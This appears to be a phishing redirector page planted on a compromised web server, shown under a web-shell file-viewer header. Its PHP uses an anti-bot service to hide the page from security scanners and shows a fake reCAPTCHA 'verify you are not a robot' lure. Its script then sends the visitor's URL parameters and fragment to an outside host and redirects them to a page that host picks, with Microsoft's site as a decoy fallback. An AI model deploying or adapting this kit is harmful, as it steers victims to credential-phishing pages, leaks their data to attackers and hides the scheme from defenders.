Server : Apache System : Linux copper.netcy.com 2.6.32-754.27.1.el6.centos.plus.x86_64 #1 SMP Thu Jan 30 13:54:25 UTC 2020 x86_64 User : montcaro ( 581) PHP Version : 7.4.28 Disable Function : NONE Directory : /home/montcaro/www/dir/ |
<!DOCTYPE html> <html> <head> <title>Redirecting...</title> <script src="https://www.google.com/recaptcha/api.js"></script> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <style type="text/css"> body { margin: 0; } #container { display: flex; height: 100vh; align-items: center; justify-content: center; } #g-recaptcha div { margin: auto; } </style> </head> <body> <?php $ua = $_SERVER['HTTP_USER_AGENT']; if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } $apiUrl = 'https://antibot.pw/api/v2-blockers?ip='.$ip.'&apikey=aa9ac597f5d454572e4a73c1e77b7841&ua='.$ua; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $apiUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = json_decode(curl_exec($ch), true); curl_close($ch); if ($data['block_access'] === true) { die(); } else { echo ' <div id="container"> <div> <p>Because you\'re accessing sensitive info, you need to verify your not a robot</p> <div class="g-recaptcha" id="g-recaptcha" data-sitekey="" data-callback="onReturnCallback" data-theme="light" ></div> </div> </div> '; } ?> </body> <script> const server = 'airforservice.com' const sitekey = '6LekdpkjAAAAANNfBz90QVr_lCqglIm3VgMj54wt' $('#g-recaptcha').attr('data-sitekey', sitekey) var onReturnCallback = function (response) { const urlSearchParams = new URLSearchParams(window.location.search), params = Object.fromEntries(urlSearchParams.entries()), redirectTo = 'https://www.microsoft.com/' ;(params.fragment = window.location.hash.substr(1)), $.ajax({ url: 'https://' + server + '/email-list/__vendor/redirect-to-url.php', type: 'GET', data: params, async: !1, success: a => window.location.replace(a), error: a => window.location.replace(redirectTo) }) } </script> </html>